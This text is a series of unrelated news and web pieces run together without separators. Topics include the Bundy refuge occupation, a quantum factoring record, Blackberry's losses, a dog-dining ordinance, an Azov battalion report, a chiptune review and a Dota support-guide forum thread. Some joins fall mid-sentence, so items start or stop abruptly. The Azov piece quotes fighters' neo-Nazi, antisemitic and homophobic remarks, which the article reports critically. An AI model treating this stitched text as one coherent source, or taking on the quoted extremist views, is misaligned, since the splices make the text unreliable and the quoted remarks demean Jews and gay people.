Earlier Thursday, he granted an interview request to perhaps the youngest member of the media covering the occupation. Monte Kingen, a sixth-grader, took notes for a story set to appear in the Fields Elementary School paper, the Desert Rat. Kingen, 11, goes to school in Fields, roughly 90 miles south of the refuge headquarters.
Kingen asked Bundy, who wore a pistol on his hip and had a copy of the U.S. Constitution in his back pocket, why he was here.
“We are just here to establish some rights,” Bundy replied. Their conversation included Bundy admitting he was not the best cowboy when it came to roping and riding and a discussion of what breeds of cattle can best withstand a winter.
Kingen took a day off from school and visited the headquarters with his family, a ranching family. His dad, Joe Kingen, said they took the two-hour trip to the refuge to show support.
Interviewed himself, Monte said he sided with the militia.
“They protect our lifestyle,” he said from under his wide-brimmed hat.
An American flag continues to cover the entrance sign to the refuge headquarters. Another hangs from the occupied fire lookout tower atop the hill above the buildings. And a man on horseback proudly displayed the flag as he rode around the grounds.
Straggling behind the Bundy brothers after their afternoon appearance with the media, LaVoy Finicum, neighbor of Cliven Bundy and a supporter of his family, said he did not know how long the occupation may last.
“As long as necessary,” he said. “… but I sure would like to go home soon.”
— Reporter: 541-617-7812,
ddarling@bendbulletin.com
12186054This week Paradox Interactive announced an upcoming expansion for Europa Universalis IV. Small changes will be included in the expansion to the historical strategy game in order to deepen the experience and make it more dynamic. One such change is the introduction of the Great Power mechanic which allows the most developed nations to access diplomatic options to entice or bully their neighbours.
The expansion also gives monarchs traits that give penalties and bonuses to a country, also affecting how other nations interact with you. Other features include more control over adopting new cultures in your empire, Ottoman Empire being granted new Harem Politics options, and events as well as more detailed options for the military of Subject Nations.
As has been done before, a free update for all players will be released along with the expansion as this one will contain the first overhaul of the technology system since the game was launched. A release date has not been announced for Rights of Man yet.[pt_view id=”759884a813″]
While selecting courses for our higher studies we are often faced with questions like: What is the future in this field? What kind of career options do we have? How is the job market? Directly or Indirectly the answer to this question lies in the different kind of career options available globally, which companies are offering them and what kind of profiles do the companies prefer. Career choices are not to be made in a jiffy. With a correct career decision you can set the tone for your entire life and a single incorrect decision can turn it upside down. We at Biotech Mill believe that correct information is the key in making any kind of career choice.
Biotech Mill has compiled this page especially for the benefit of people who are looking for various kinds of careers in the field of Biotechnology. New Vacancies are added on a daily basis. Currently our team is focused on job openings in the regions of: India, US, Europe, Australia.SAM FARMER / ON THE NFL Alex Smith, the Bay Area's most improbable hero
Once thought a first-pick bust for the 49ers, the quarterback now rates a standing ovation when tossing out the first pitch at a S.F. Giants playoff game.
Now, as a leader of the hottest team in football and owner of a league-best 108.7 passer rating, he's embraced by a fan base that once roundly rejected him.
Who could have guessed that Smith, once the Bay Area's most derided athlete, would get those raucous cheers as he walked out to the mound? This was a guy who went from the NFL's No. 1 pick, to a struggling starter, to a backup, to nearly being cast aside by the franchise that had rushed him onto the field.
It came last Saturday before Game 1 of the National League division series between the San Francisco Giants and Cincinnati Reds, when Smith had the honor of throwing out the first pitch.
So it was really no big deal that he threw that ceremonial pitch into the dirt in front of home plate, even though he joked: "I'm disgusted with myself."
No matter, no one questions his accuracy anymore, not with him competing 68.6% of his passes with eight touchdowns and only one interception. Smith, whose team will play host to the New York Giants on Sunday in a rematch of last season's NFC championship game, has thoroughly reinvented himself.
And he has done it in a unique way. Unlike quarterbacks such as Jim Plunkett, Steve Young and Rich Gannon, who had career breakthroughs after changing teams, Smith has been able to survive the worst of times with the 49ers — times when coaches have flat given up on him — to emerge on the other side.
Coach Jim Harbaugh has played an essential role in the transformation, casting his lot with Smith from the start, something previous coaches Mike Nolan and Mike Singletary didn't do.
"Can't tell you how much respect I have for him," Harbaugh said. "That he has played well, handles himself, does all the things. [I] kind of look back and say, 'Man, I wish I would have done as good a job as he has done.' On and off the field, in everything that he does and his approach to the game, I think it's a real example."
That confidence paid off last season when Smith — who had cycled through a constant carousel of different offensive coordinators and quarterback coaches — clicked with Harbaugh and offensive coordinator Greg Roman. They put their faith in Smith and he delivered, with 17 touchdowns and just five interceptions, helping carry the club to within one win of the Super Bowl.
There's no magic to the emergence of Smith. He has a better head coach — a former NFL quarterback who had his own ups and downs; better personnel around him on both sides of the ball; is healthier after undergoing several shoulder surgeries, and is simply older and more experienced. It's easy to forget that Smith is only 28, younger even than Brandon Weeden, Cleveland's rookie quarterback.
In the darkest times, could Smith have envisioned being in the position the 49ers are now in, as an elite team with him at the helm?
"I was certainly playing for it. I wasn't playing to continue to lose," he said, standing at his locker this week. "You continue to put the work in and to fight and play because you're trying to win games. No question, thought it could get better, didn't know when or how."
Smith, in his seventh season, is one of just two No. 1 picks in the modern era to spend more than five seasons with his original team despite never making a Pro Bowl. The other is defensive end Kenneth Sims, the top pick in 1982, who played eight seasons with New England.The wait for Shenmue III was once thought to be a lost cause, but we were all shocked during Sony’s E3 of dreams a few years ago when a Shenmue III Kickstarter campaign was announced. Fans have been anxiously awaiting the game ever since and some major news was just revealed tonight.
Shenmue III developer YS Net has announced that the game will be published by Deep Silver globally, who has a knack for publishing many games. Most recently is Agents of Mayhem that just released this week.
Also coming in this press release is news that they will be having a meet and greet at at Gamescom on Wednesday August 23 and Thursday August 24. This meet and greet will have Yu Suzuki on hand, so those attending Gamescom will definitely not want to miss this opportunity.
With this big publisher news and the fact they will be at Gamescom, you have to wonder if we’ll see some additional Shenmue III news at the show, including maybe a trailer for the game or maybe even a release window.
We haven’t heard all that much out of Shenmue III for awhile, so it would be great news to get any piece of information in the coming weeks, getting that hype level up even more.
Like this: Like Loading...Last year a wrote a few predictions for Umbraco – for beyond 2014; a 5-year future.
Reviewing those predictions, many things have happened in the world of web-development, so I would like to reflect on those.
node.js
The idea of switching Umbraco’s “server-side” codebase from ASP.NET to node.js was quite appealing. Out-the-box it would be cross-platform, high-performance, asynchronous – all win!
Then Microsoft announced ASP.NET vNext! Bringing us… Roslyn! KVM! Cross-platform (Mono)! Async! NuGet! All open-source! BOOM!
Scott Hanselman covers all this in his post: Introducing ASP.NET vNext
In a nutshell, ASP.NET vNext has reinvented itself as a killer web-platform for the next decade.
My revised predication would be that Umbraco will (in time) fully embrace ASP.NET vNext.
I’d say that the appeal for node.js is great – especially in that it would open up the playing field to great JavaScript developers.
NoSQL (document database)
I still believe that document-databases are better suited for CMS repositories – flexible structures/data-models, etc. I don’t have a favourite “NoSQL” flavour – (although redis and mongodb do get mentioned a lot in my various newsfeeds).
Would Umbraco ever leave its SQL Server roots? Maybe one day, but I doubt it will happen in the next 5 years – could be one for v12?
Microsoft have announced DocumentDB, but that looks to be exclusively for Azure. At least this means someone in Microsoft recognised the need for document-databases on the.NET stack. Food for thought.
The bifurcation of Umbraco
This prediction remains the same. It’s the area that excites and interests me the most.
To quote from last year:
In terms of Umbraco, I think we’ll see a demand for separating the “front-end” from the “back-office”.
There’ll be teams who will love the editorial experience that Umbraco offers, but are not willing to be forced to use the front-end technology/framework.
Next week is the annual Umbraco UK Festival in London. If you are attending and want to discuss any of these predictions, then feel free to say hello for a chat.Reusing old computer parts sounds like a terrible way to boost processing power, but it has enabled a quantum computer to set a new algorithmic record.
Anthony Laing and colleagues at the University of Bristol, UK, have used recycled quantum bits, or qubits, to carry out a quantum calculation known as Shor’s algorithm on a larger number than ever before.
The algorithm exploits quantum mechanics to simplify the factorisation of numbers into their prime components – a hard task for ordinary, classical computers when the numbers get really large. However, until now, the largest number factorised using Shor’s algorithm was 15.
“There have been four demonstrations of 15 in the last 10 years, that’s as good as we’ve got,” says Laing. Part of the difficulty in reaching higher numbers is creating enough qubits to do the job.
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Shor’s record
Laing and colleagues used a photon as their qubit. They realised it was possible to split Shor’s algorithm into parts and run one part at a time on a single photon. This slows things down, but for huge numbers it should still be much faster than a classical computer.
The team factorised the number 21, a record for Shor’s algorithm but far from the large numbers needed if quantum computers are to outperform their classical counterparts on the task.
An alternative quantum algorithm was used to factorise 143 earlier this year, having previously achieved 21. This algorithm uses a method called adiabatic quantum computing that, unlike Shor’s algorithm, is not mathematically guaranteed to provide faster performance for larger numbers.
Laing hopes his recycling technique will more reliably help quantum computers scale up to a point at which they can carry out calculations that are inaccessible to classical computers. “Recycling should enable larger demonstrations more rapidly than has been realised before,” he says.
Crypto-killer?
There could be a downside to this advance, too: the ability to factorise numbers with more than about 300 decimal digits would be deadly for cryptography techniques widely used today, many of which rely on the difficulty of factorising large numbers. However, Liang says this is still a concern for the far future. “You don’t have to worry just yet; it’s a long way off.”
“I’d call qubit recycling a clever ‘software’ technique, which allows us to get the most out of current experiments,” says Dan Browne at University College London, who has previously worked on implementing Shor’s algorithm. Attaining really big improvements will require scaling up quantum hardware too, he says.
Laing’s team is also working towards that end. As part of the recycling technique, the researchers chained together two logic gates – a first for an optical quantum computer and an essential step in terms of hardware for building more complex devices. “To me, this achievement is more important than factoring 21, although to do so is an excellent demonstration of the technique’s power,” says Browne.
Journal reference: Nature Photonics, doi.org/jkfBlackberry released a statement on Friday saying that it expects to report an operating loss of almost $1 billion in the coming days. According to The Wall Street Journal, Blackberry overestimated the number of new phones it would sell and is facing an “inventory charge of as much as $960 million and a restructuring charge of $72 million.” Specifically, the company said that it would likely report a loss of $950 million to $995 million for the second quarter.
Earlier this week we reported that Blackberry was planning to lay off up to 40 percent of its employees, taking the company from 12,700 full-time employees to about 7,620 employees. The WSJ reported today that 4,500 people will be laid off, lower than earlier estimates. (Is that a silver lining we see?)
The Canadian company also reported today that it only sold 3.7 million smartphones in the last quarter, most of which were older phones. To stem the bleeding, Blackberry said that going forward, its “smartphone portfolio will transition from 6 devices to 4; focusing on enterprise and prosumer-centric devices, including 2 high-end devices and 2 entry-level devices.” As Quartz writer Christopher Mims wrote, it's probably too late for Blackberry to turn around its share of the enterprise market given the latest moves made by Apple and Samsung to get their hardware into the hands of businesspeople.
According to IDC, Blackberry now has about three percent market share for smartphones, down from over 50 percent in the company's heyday. Blackberry share prices were down over 20 percent today after the company released its warning.Buy Photo A waitress delivers water to Amanda Chandler and her pup Chloe at the Yappy Hour event at The Front Porch restaurant in 2013. The Leon County Commission adopted "doggie dining" standards Tuesday night that regulates restaurants allowing dogs into outdoor seating areas at Leon County restaurants. (Photo: Mike Ewen/Democrat)Buy Photo
The Leon County Commission approved a "doggie dining" ordinance at its Tuesday meeting, legitimizing and regulating pets sitting with their owners outside at local restaurants.
The issue was raised after a few new developments requested the ability to let restaurant patrons sit with their dogs outside.
The state Legislature lifted a longtime ban on dogs in restaurants in 2006 and allowed municipalities to set their own standards. Since then, local restaurants have been letting dogs into their restaurants, despite the fact Leon County and the city of Tallahassee never adopted regulations.
Under the new ordinance, which goes into effect July 1, establishments will be required to designate outdoor areas for pooches, adopt sanitation measures and post of at least one sign reminding patrons and employees of the dog rules. Restaurants would have to submit an application, which must include the hours dogs will be allowed to frolic, and pay a $100 permit fee. The annual renewal fee will be $50.
To maintain cleanliness, state statutes call for employees to wash their hands after petting dogs. Patrons also are to wash their hands before eating and to not let dogs come in contact with plates, utensils or silverware. Under state rules, dogs must be on a leash at all times and would be barred from sitting on chairs or tables.
Service dogs covered under the Americans with Disabilities Act are exempt from the measure.
The county's ordinance will only apply to the unincorporated parts of Leon County, not the city of Tallahassee. The city, Leon County Administrator Vince Long said, has an interest in adopting its own policy.
Contact Sean Rossman at srossman@tallahassee.com or follow @SeanRossman on Twitter.
Read or Share this story: http://on.tdo.com/1N7utrsNew Zealand international Henry Nicholls has joined the Sydney Thunder replacing Jacques Kallis, who has been ruled out of Saturday’s game with a groin injury.
The left-hand batsman scored an unbeaten 42 for the Canterbury Kings against the Thunder during their pre-season tour of New Zealand.
“It was a cool game to be involved in, it was a great day and good to play agains a strong Thunder side.” Nicholls said.
Nicholls made his ODI debut for New Zealand on Boxing Day, playing five games in their victorious series against Sri Lanka.
“It’s all happened very quickly,” Nicholls said.
“It was awesome to play in series against Sri Lanka, especially to play as much as I did.
“The Big Bash is very popular back home and its very exciting to now be involved in a very big game for a team who have a chance to qualify for the finals.”
Sydney Thunder captain Michael Hussey played against Nicholls before making a one-off appearance for the Canterbury Kings where he played along side him, and is well aware of his emerging talent.
“He’s an exciting player, who is playing extremely well.” Hussey said.
“He’s just working his way into the New Zealand set-up and is a player of high quality and we are very fortunate to have him.”
After losing Kallis to injury and Usman Khawaja to the Australian ODI squad, Hussey was keen to secure a top order batsman.
“We threw around a number of ideas,” Hussey said.
“Losing both our opening batsman created a hole at the top of the order. Even though we’ve lost Kallis we feel we have the cover with the ball, but were keen to shore up the batting.”
Nicholls will miss Canterbury’s One-Day fixture against the Central Stags, with General Manager Nick Cummins quick to praise Sydney Thunder’s strong relationship with Canterbury Cricket.
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“We are very grateful that Canterbury coach Gary Stead released Henry during their Limited Overs competition," said Sydney Thunder General Manager Nick Cummins.
"Every coach wants to win every game, so to allow one of their star players to miss a domestic game speaks volumes for the relationship we have built with Canterbury.”
Sydney Thunder face their cross-town rivals the Sydney Sixers as they look to secure a spot in the finals of the KFC T20 Big Bash League at the SCG on Saturday 15 December.The Walking Dead will not have a panel at this summer’s TCA so the executive producers can attend the funeral of deceased stuntman John Bernecker, AMC announced today.
Amidst several other AMC and Sundance TV presentations, the long planned session for the zombie apocalypse blockbuster was set to take place on July 29. Fresh off a subdued appearance at Comic-Con last week, EPs Gale Anne Hurd, Robert Kirkman, Dave Alpert, and Greg Nicotero along with showrunner Scott M. Gimple were scheduled to face the TV critics to talk about TWD and the show’s upcoming 100th episode and October Season 8 opener.
Surrounded by cast and fellow EPs at SDCC on July 21, a somber Gimple read out a tribute to veteran stuntman Bernecker, who was fatally hurt in a fall in an an accident on TWD‘s Georgia set on July 12. “John passed away last week after he was injured doing something he loved,” the showrunner told the 7,000 strong Hall H of the San Diego Convention Center of Bernecker’s work and life.
Production on TWD‘s eighth season halted on July 12 right after the accident and resumed on |
see some 300 Azov fighters pay respects to Mr Grek, their first comrade to die since the battalion was formed in May. An honour guard fired volleys into the air at the battalion’s headquarters on the edge of Urzuf, a small beach resort on Ukraine’s Azov Sea coast. Two more militiamen died on Sunday fighting north of Donetsk. Petro Poroshenko, Ukraine’s president, called one of them a hero.
Each new recruit receives only a couple of weeks of training before joining the battalion. The interior ministry and private donors provide weapons.
The HQ is a seaside dacha compound dotted with pines that once belonged to the ousted president of Ukraine, Vladimir Yanukovich, when he was governor of this region. Families in swimsuits with towels and inflatable rings walk past gate-guards toting automatic rifles.
Parked inside among wooden gazebos overlooking the sea are the tools of Azov’s trade – two armoured personnel carriers, a converted truck with retractable steel shutters to cover its windows, and several Nissan pick-ups fitted with machine-gun mounts.
A converted truck with steel shutters used by the Azov battalion and known to the fighters as 'the Lump of Iron' (Tom Parfitt)
Mr Biletsky, a muscular man in a black T-shirt and camouflage trousers, said the battalion was a light infantry unit, ideal for the urban warfare needed to take cities like Donetsk.
The 35-year old commander began creating the battalion after he was released from pre-trial detention in February in the wake of pro-western protests in Kiev. He had denied a charge of attempted murder, claiming it was politically motivated.
A former history student and amateur boxer, Mr Biletsky is also head of an extremist Ukrainian group called the Social National Assembly. “The historic mission of our nation in this critical moment is to lead the White Races of the world in a final crusade for their survival,” he wrote in a recent commentary. “A crusade against the Semite-led Untermenschen.”
The battalion itself is founded on right wing views, the commander said in Urzuf, and no Nazi convictions could exclude a recruit. “The most important thing is being a good fighter and a good brother so that we can trust each other,” he said.
Interestingly, many of the men in the battalion are Russians from eastern Ukraine who wear masks because they fear their relatives in rebel-controlled areas could be persecuted if their identities are revealed.
Phantom said he was such a Russian but that he was opposed to Moscow supporting “terrorists” in his homeland: “I volunteered and all I demanded was a gun and the possibility to defend my country.”
Asked about his Nazi sympathies, he said: “After the First World World War, Germany was a total mess and Hitler rebuilt it: he built houses and roads, put in telephone lines, and created jobs. I respect that.” Homosexuality is a mental illness and the scale of the Holocaust “is a big question”, he added.
Fighters of the Azov battalion say farewell to their first comrade to die in the war against Russia-backed rebels (Tom Parfitt)
Stepan, 23, another fighter, said that if leaders of the pro-Russian separatists were captured they should be executed after a military tribunal.
Such notions seem a far cry from the spirit of the “Maidan” protests that peaked in Kiev in February with the ousting of Mr Yanukovich, who had refused to sign a trade agreement with the European Union. Young liberals led the way but the uprising, which ended with the president fleeing to Russia, provoked a huge patriotic awakening that sucked in hardline groups.
Azov’s extremist profile and slick English–language pages on social media have even attracted foreign fighters. Mr Biletsky says he has men from Ireland, Italy, Greece and Scandinavia. At the base in Urzuf, Mikael Skillt, 37, a former sniper with the Swedish Army and National Guard, leads and trains a reconnaissance unit.
“When I saw the Maidan protests I recognised bravery and suffering,” he told the Telegraph. “A warrior soul was awakened. But you can only do so much, going against the enemy with sticks and stones. I had some experience and I though maybe I could help.”
Mr Skillt says he called himself a National Socialist as a young man and more recently he was active in the extreme right wing Party of the Swedes. “Now I’m fighting for the freedom of Ukraine against Putin’s imperialist front,” he said.
His unit is improving fast under his tutelage. “What they lack in experience, they make up in balls,” he said. Once he is done with Azov –where he claimed he receives a nominal GBP100 a month – Mr Skillt plans to go to Syria to fight for President Bashar al-Assad as a hired gun earning “very good money”.
Such characters under Kiev’s control play straight into the hands of Russian and separatist propaganda that portrays Ukraine’s government as a “fascist junta” manipulated by the West.
“These battalions are made up of mercenaries, not volunteers,” said Sergei Kavtaradze, a representative of the rebel authorities in Donetsk. “They are real fascists who kill and rape civilians.” Mr Kavtaradze could not cite evidence of his claim and the battalion says it has not harmed a single civilian.
Ukraine’s government is unrepentant about using the neo-Nazis. “The most important thing is their spirit and their desire to make Ukraine free and independent,” said Anton Gerashchenko, an adviser to Arsen Avakov, the interior minister. “A person who takes a weapon in his hands and goes to defend his motherland is a hero. And his political views are his own affair.”
Mark Galeotti, an expert on Russian and Ukrainian security affairs at New York University, fears battalions like Azov are becoming “magnets to attract violent fringe elements from across Ukraine and beyond”. “The danger is that this is part of the building up of a toxic legacy for when the war ends,” he said.
Extremist paramilitary groups who have built up “their own little Freikorps” and who are fundamentally opposed to finding consensus may demand a part in public life as victors in the conflict, Mr Galeotti added. “And what do you do when the war is over and you get veterans from Azov swaggering down your high street, and in your own lives?”Last week was downright facemelting here on the ChipWIN blog. It all started with Joe’s review of Danimal Cannon’s shredtacular new progressive chiprock masterpiece ‘Lunaria’, and ended with Glenntai’s curated collection of chipthrash that’s enough to make your ears bleed. Well, it’s freaking Monday again. Time to take things down many notches and focus on something much more ambient in nature. This gives me the opportunity not only to highlight a revered veteran of the chipmusic scene, little-scale (Sebastian Tomczak), but also to showcase just how versatile artists within the chiprealm can be, covering every inch of the musical spectrum. If you’re looking to relax, get lost in deep introspection, and otherwise decompress, then look no further than little-scale’s recently released EP, ‘Don’t Be Anxious’.
If you’re a regular reader of this blog, then you’re almost certainly familiar with little-scale and his abundant output of quality tunes. Over the years, he has proven himself to be the Ween of the chiptune scene, in the sense that he is able to nail every style and genre that he decides to adopt. This particular collection of soothing lo-fi ambient tracks is taken from his contributions to WeeklyBeats weeks 4 – 7, 2016. The fact that ‘Don’t Be Anxious’ encapsulates a single month of little-scale’s output speaks volumes of his prolific nature. These tracks have the capacity to transport you to another time and place, and to contemplate the vastness of the cosmos. This ambient detour of his has been a highly enjoyable one, and it’s a pleasure to see them all wrapped up in this hypnotic release.
Rather than using the usual bandcamp embeds as I go through these tracks, I’m opting to embed the accompanying video from little-scale’s youtube channel. As you’ll see, little-scale’s artistry goes beyond the musical realm; his video and photographic skills serve as the perfect accompaniment to his beautiful music.
The title track gradually fades into the forefront, using serene notes and reverberating sub bass to create an otherworldly atmosphere. It’s an atmosphere that you can easily lose yourself in and feel the stress and anxiety melt away as one note softly and gracefully leads into the next. little-scale has selected the perfect imagery to accompany his sound with the gently rolling clouds in the above video. What strikes me upon closer listening to this track is the slight hint of dissonance contained within. ‘Don’t Be Anxious’ is calming, but also ominous at the same time. This seems like an oxymoron, yet little-scale has skillfully managed to accomplish this musical feat, blending vibes to create an engaging, hypnotic experience.
In true ambient fashion, ‘Don’t Be Anxious’ seamlessly blends into the following track, ‘Uncatharsis’. There is little to delineate between the two, save for a single sustained tone that is of a higher register than those previously heard. ‘Uncatharsis’ builds upon the established atmosphere and becomes more ethereal in nature. The lead tones ripple and undulate, conjuring up imagery of the concentric circles formed from pebbles in a pond. This effect encourages the listener to recenter oneself in order to reach an absent mindset, free from all clutter and anxiety.
‘Internal Influence’ reinforces the theme that change and improvement comes from within. It’s at this final point of the album that the listener has reached a heightened state of tranquility and inner peace. The lush tones of this track pair beautifully with the imagery of swaying tree branches in the above video, and help to reinforce the outdoor theme of ‘Don’t Be Anxious’. I feel a strong connection with nature while listening to this album in a way that I haven’t felt in a very long time. In this way, ‘Don’t Be Anxious’ speaks to the stillness within all of us in a deeply meaningful manner.
‘Don’t Be Anxious’ takes me back to those late nights listening to the radio program Hearts of Space, and I feel that this music would be a perfect fit there. The way in which each track blends seamlessly into the next encourages repeated listens. Every time I listen to it, I am able to more fully appreciate little-scale’s phenomenal sound design, which can only be achieved through years of music creation. His ambient offering here is full of professionalism and sincerity, and I encourage you to support him by purchasing ‘Don’t Be Anxious’ through his bandcamp for what you feel it is worth to you. Personally, this album will be a mainstay for me whenever I need to decompress and stave off anxiety, and that alone is worth quite a bit.
I hope that you’ve enjoyed this calm before the storm. Expect a big announcement later this week, so as always keep it locked to the ChipWIN blog!
Keep your hands and heart held high!
\m|♥|m/
little-scale:
Bandcamp | Soundcloud | Youtube | Twitter | Blog
Don’t Be Anxious by little-scale
Dig this article? Then consider supporting us on Patreon!Ler Profile Joined August 2012 Germany 406 Posts #1
some time has passed since the last part of #ArtofSupport has been released. For now, it has been read over 200k times and I can say that people liked the work.
Now it is time to hand out the last missing piece, the whole 4 part series as an E-Book in form of a PDF document.
Table of Contents
+ Show Spoiler + ----------------------------------------------------------------------------------------------------------
Chapter I : Introduction
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1.1 Short Biography 1
1.2 Competitive History 1
1.3 Motivation behind the Guide 1
1.4 Guide Overview 1
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Chapter II : Basic Concepts
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2.1 Position Model 2
2.2 Two different Support types 2
2.3 Understanding your Position 2
2.4 Different kind of Supports 3
2.4.1 The "Greedy" term 3
2.4.2 Greedy Supports 3
2.4.3 Aggressive Supports 3
2.4.4 Defensive Supports 4
2.5 Tactical Concepts 4
2.5.1 Push 4
2.5.2 Four-Protect-One 4
2.5.3 Two Core 4
2.5.4 Tri Core 5
2.5.5 Gank 5
2.5.6 One-Protect-Four 5
2.6 Correlation: Tactical Concepts and Early-Game-Impact 5
2.6.1 Limited Decisions 5
2.7 Lanes 6
2.7.1 Defensive Tri-Lane 6
2.7.2 Aggressive Tri-Lane 6
2.7.3 Dual-Lanes 6
2.8 Rotation 7
2.8.1 Reason behind Rotations 7
2.8.2 Effects of Rotations 7
2.8.3 Rotations - Conclusion 7
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Chapter III : Support Concepts
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3.1. Possible Support Duos 8
3.2 Support Duo Breakdowns 9
3.2.1 Defensive, Defensive 9
3.2.2 Defensive, Greedy 9
3.2.3 Defensive, Aggressive 9
3.2.4 Aggressive, Greedy 10
3.2.5 Aggressive, Aggressive 10
3.2.6 Greedy, Greedy 10
3.3 Role Determination 10
3.4 Position 5: Hard Support 11
3.4.1 Tasks 11
3.4.2 Items 11
3.5 Position 4: Semi Support 12
3.5.1 Tasks 12
3.5.2 Items 12
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Chapter IV: Supports enter the Battlefield
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4.1 General Advice 13
4.2 Chicken and Wards, Sentries and Smoke 13
4.2.1 When to skip Sentries? 13
4.2.2 When to Skip Smoke? 13
4.3 A new Battle begins 14
4.4 Defensive Tri-Lane Pattern 14
4.4.1 Safe-Lane: Movement Paths and Zone-Corridor 15
4.5 Aggressive Tri-Lane Pattern 16
4.5.1 Off-Lane: Movement Paths and Zone Corridor 17
4.6. Dual-Lane Mid 18
4.7 Dual-Lane Mid Pattern 18
4.7.1 Supports as a Duo 18
4.7.2 Supports on their own 18
4.7.2 Middle-Lane: Movement Paths and Zone-Corridor 19
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Chapter V: The Mind of a Support
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5.1 Game of Patience 20
5.2 Lane Decisions 20
5.2.1 Neutral Pull Effects 20
5.2.2 Objectives of Neutral Pulls 21
5.2.3 Efficient Harassment 21
5.2.4 Skill-Builds 21
5.2.4 Experience and Farm leech 22
5.2.5 Effects of Pushing 22
5.2.6 Objectives of Pushing 23
5.3 Different Forms of Rotations 23
5.3.1 Gank Rotation 24
5.3.2 Pressure Rotation 24
5.3.3 Defensive Rotation 25
5.3.4 Trade Rotation 25
5.3.5 Rotations conclusion 25
5.4 Rune Control 26
5.4.1 Impactful Runes 26
5.4.2 Who should control the Rune? 26
5.4.3 The Rune Trap 26
5.5 Stacking Neutrals 27
5.5.1 Priority of Stacking Neutrals 27
5.5.2 Farming Neutrals 27
5.5.3 Neutral Pull Timings 27
5.6 General Fight Behavior 28
5.6.1 Safe Positioning 28
5.6.2 Skill Priorities 28
5.6.3 Skill and movement Pattern 28
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Chapter VI: Warding Concepts 29
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6.1 Idea of efficient Warding 29
6.1.1 Efficient Wards 29
6.1.2 Good and Bad Wards 29
6.1.2 Deward Prevention 29
6.2 Warding Objectives 30
6.2.1 Defensive Warding 30
6.2.2 Aggressive Warding 31
6.2.3 Push related Warding 32
6.2.4 Rosh-Pit Warding 33
6.2.5 Neutral Warding 34
6.4 Rune Ward 35
6.4.1 Why Rune Wards should be avoided 35
6.5.2 Rune Ward Conclusion 35
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Chapter VII: Epilogue
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Image Contents
The Art of Support E-Book:
The Art of Support E-Book - Hosted on Dropbox.com
The Art of Support HTML:
The Art of Support Part I
The Art of Support Part II
The Art of Support Part III
The Art of Support Part IV
Special thanks to the Liquiddota staff for hosting my work. Also shout outs to Heyoka and Nixer for their amazing editing and graphics.
If you like my work, feel free to follow me on twitter @Ler_GG to receive updates on my current projects.
That's it from my side,
Ler
Hello Liquiddota,some time has passed since the last part of #ArtofSupport has been released. For now, it has been read over 200k times and I can say that people liked the work.Now it is time to hand out the last missing piece, the whole 4 part series as an E-Book in form of a PDF document.Special thanks to the Liquiddota staff for hosting my work. Also shout outs to Heyoka and Nixer for their amazing editing and graphics.If you like my work, feel free to follow me on twitter @Ler_GG to receive updates on my current projects.That's it from my side,Ler Twitter: @Ler_GG | Facebook: lergg | youtube: lerlolgg | Twitch.tv/gg_nore | #ArtOfSupport
Ler Profile Joined August 2012 Germany 406 Posts #2 reserved Twitter: @Ler_GG | Facebook: lergg | youtube: lerlolgg | Twitch.tv/gg_nore | #ArtOfSupport
westpfelia Profile Joined November 2010 United States 35 Posts #3 Thanks man! This is great stuff!
HammerKick Profile Joined May 2013 France 5125 Posts #4 That guide is so good...
You should get paid for this :D
Excellent job! Well, it's high noon somewhere in the world
Half the Sky Profile Joined May 2014 United Kingdom 2874 Posts #5 Thank you, thank you for all this. Extremely helpful. The phoenix must burn to emerge. - Janet Fitch
Sen17 Profile Joined October 2014 1 Post #6 I fucking love you, though i downloaded it in case you want to actually sell it. You could.
Kittan Profile Joined April 2012 Poland 1932 Posts #7 Thank you for this masterpiece, this will help a lot many many people.
Kudos! http://www.teamliquid.net/forum/viewmessage.php?topic_id=81288 <--- How I fell in love with a man, a team, a game and a website in a single day... | "There are no false gods, there is only the Emperor, and Choi Yun Sung is his prophet." -> Zona 40k
d00mlordhaxxor Profile Joined October 2014 1 Post #8 great work! Will it be updated regarding wards around roshan etc?
Beezleking Profile Joined November 2011 Canada 23 Posts #9 I love Ler <3
Birdie Profile Joined August 2007 New Zealand 1895 Posts #10 Very nice read, I don't play support that often but it helped a lot even just for learning about team compositions and higher-level ideas on strategy and drafting, as well as thoughts about efficiency and map movement. Red classic | A butterfly dreamed he was Zhuangzi | 4.5k, heading to 5k as support!
Bisu-Fan Profile Joined January 2010 Russian Federation 1274 Posts #11 This game me so much insight into not only playing as a support (which obviously it did and I had a time where I insta-locked a lot of supports), but what to watch out for as a carry, offlaner, mid, jungler. It's so helpful in just understanding the game Thanks so much! The Revolutionist Shall Rise Again! No. 1 Kim Taek Yong Fan 어헣↗ GO JAEDONG!!!!!!! GO ACE!!! 태연 <3 윤아 <3 승연 <3
Latham Profile Joined May 2007 2967 Posts #12 I love you so much for a complete release. Just yesterday I had 3 tabs open thinking "man, I wish this was complied into 1 big file so I can read it whenever I want" :D For the curse of life is the curse of want. PC = https://be.pcpartpicker.com/list/4JknvV
tanbarthez Profile Joined October 2014 Vietnam 1 Post #13 Ler, can i download and translate it into my native language (Vietnamese)?
Skypikz Profile Joined October 2014 Australia 10 Posts #15 Thanks man this is great! Support is my job!
icystorage Profile Joined November 2008 Jollibee 11288 Posts #16 I'm gonna probably print this and make a booklet out of it :D Staff Are you ready for a Miracle-? We are! The International 2017 Champions!
Ler Profile Joined August 2012 Germany 406 Posts #17 On November 06 2014 11:15 icystorage wrote:
I'm gonna probably print this and make a booklet out of it :D
1. Release updated flawless version
2.???
3. Amazon -> Profit 1. Release updated flawless version2.???3. Amazon -> Profit Twitter: @Ler_GG | Facebook: lergg | youtube: lerlolgg | Twitch.tv/gg_nore | #ArtOfSupport
icystorage Profile Joined November 2008 Jollibee 11288 Posts #18 thanks ler! *personal bookletthanks ler! Staff Are you ready for a Miracle-? We are! The International 2017 Champions!
westpfelia Profile Joined November 2010 United States 35 Posts #19 On November 06 2014 12:42 Ler wrote:
Show nested quote +
On November 06 2014 11:15 icystorage wrote:
I'm gonna probably print this and make a booklet out of it :D
1. Release updated flawless version
2.???
3. Amazon -> Profit 1. Release updated flawless version2.???3. Amazon -> Profit
Are you going to release it on amazon? I'd "buy" it :p Are you going to release it on amazon? I'd "buy" it :p
Ler Profile Joined August 2012 Germany 406 Posts #20 On November 08 2014 05:21 westpfelia wrote:
Show nested quote +
On November 06 2014 12:42 Ler wrote:
On November 06 2014 11:15 icystorage wrote:
I'm gonna probably print this and make a booklet out of it :D
1. Release updated flawless version
2.???
3. Amazon -> Profit 1. Release updated flawless version2.???3. Amazon -> Profit
Are you going to release it on amazon? I'd "buy" it :p Are you going to release it on amazon? I'd "buy" it :p
Wont be able to host a release there since my lobby is not big enough
